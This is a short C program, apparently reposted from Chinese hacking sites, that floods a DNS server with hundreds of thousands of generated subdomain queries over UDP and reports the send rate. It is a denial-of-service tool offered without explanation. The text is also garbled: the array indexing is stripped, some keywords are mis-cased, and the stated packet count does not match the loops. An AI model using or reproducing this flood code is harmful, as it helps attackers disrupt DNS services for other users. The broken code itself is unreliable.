文章来源:www.Hackway.net
#include "winsock.h"
#include "stdio.h"
#include "string.h"
SOCKET sockUdp;
strUCt sockaddr_in destAddr; // IP addressing structures
void convertDomainName(char * strName)
{
unsigned int lastPoint=strlen(strName);
for(int i=lastPoint; i>=0; i--) {
if (strName=='.') {
strName=(char)(lastPoint-i-1);
lastPoint=i;
}
}
}
void dnsRequest(char * qName)
{
char udpBuf[512]={0};
udpBuf[1] = 1;
udpBuf[2] = 1;
udpBuf[5] = 1;
convertDomainName(qName);
int domainNameLen = strlen(qName);
for(int i=0; i<domainNameLen; i++)
udpBuf[12+i] = qName;
udpBuf[domainNameLen + 12 + 2]=1;
udpBuf[domainNameLen+ 12 + 4]=1;
int iReturn=sendto(sockUdp, udpBuf, domainNameLen + 12 + 7, 0,(SOCKADDR *)&destAddr, sizeof(struct sockaddr_in));
if (iReturn==SOCKET_ERROR) printf("send error:%d",GetLastError());
}
main()
{
WSADATA wsa;
WSAStartup(MAKEWord(2,2), &wsa);
sockUdp = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
int i,j,k,l;
destAddr.sin_family = AF_INET;
destAddr.sin_port = htons(53);
destAddr.sin_addr.s_addr = inet_addr("xxx.xxx.xxx.xxx");
char strRequest[20] = ".aaaa.aaaa.net";
ULONG timeStart=GetTickCount();
for (i=97; i<123; i++)
for (j=97; j<123; j++)
for (k=97; k<123; k++)
for( l=97; l<123; l++)
{
strRequest[1]=i;
strRequest[2]=j;
strRequest[3]=k;
strRequest[4]=l;
dnsRequest(strRequest);
}
printf("Send 456K packets in %d ms\n",GetTickCount()-timeStart);
printf("average spped=%d,000 Packets/s\n",456000/(GetTickCount()-timeStart));
Sleep(10*1000);
}
(出处:http://www.sheup.com)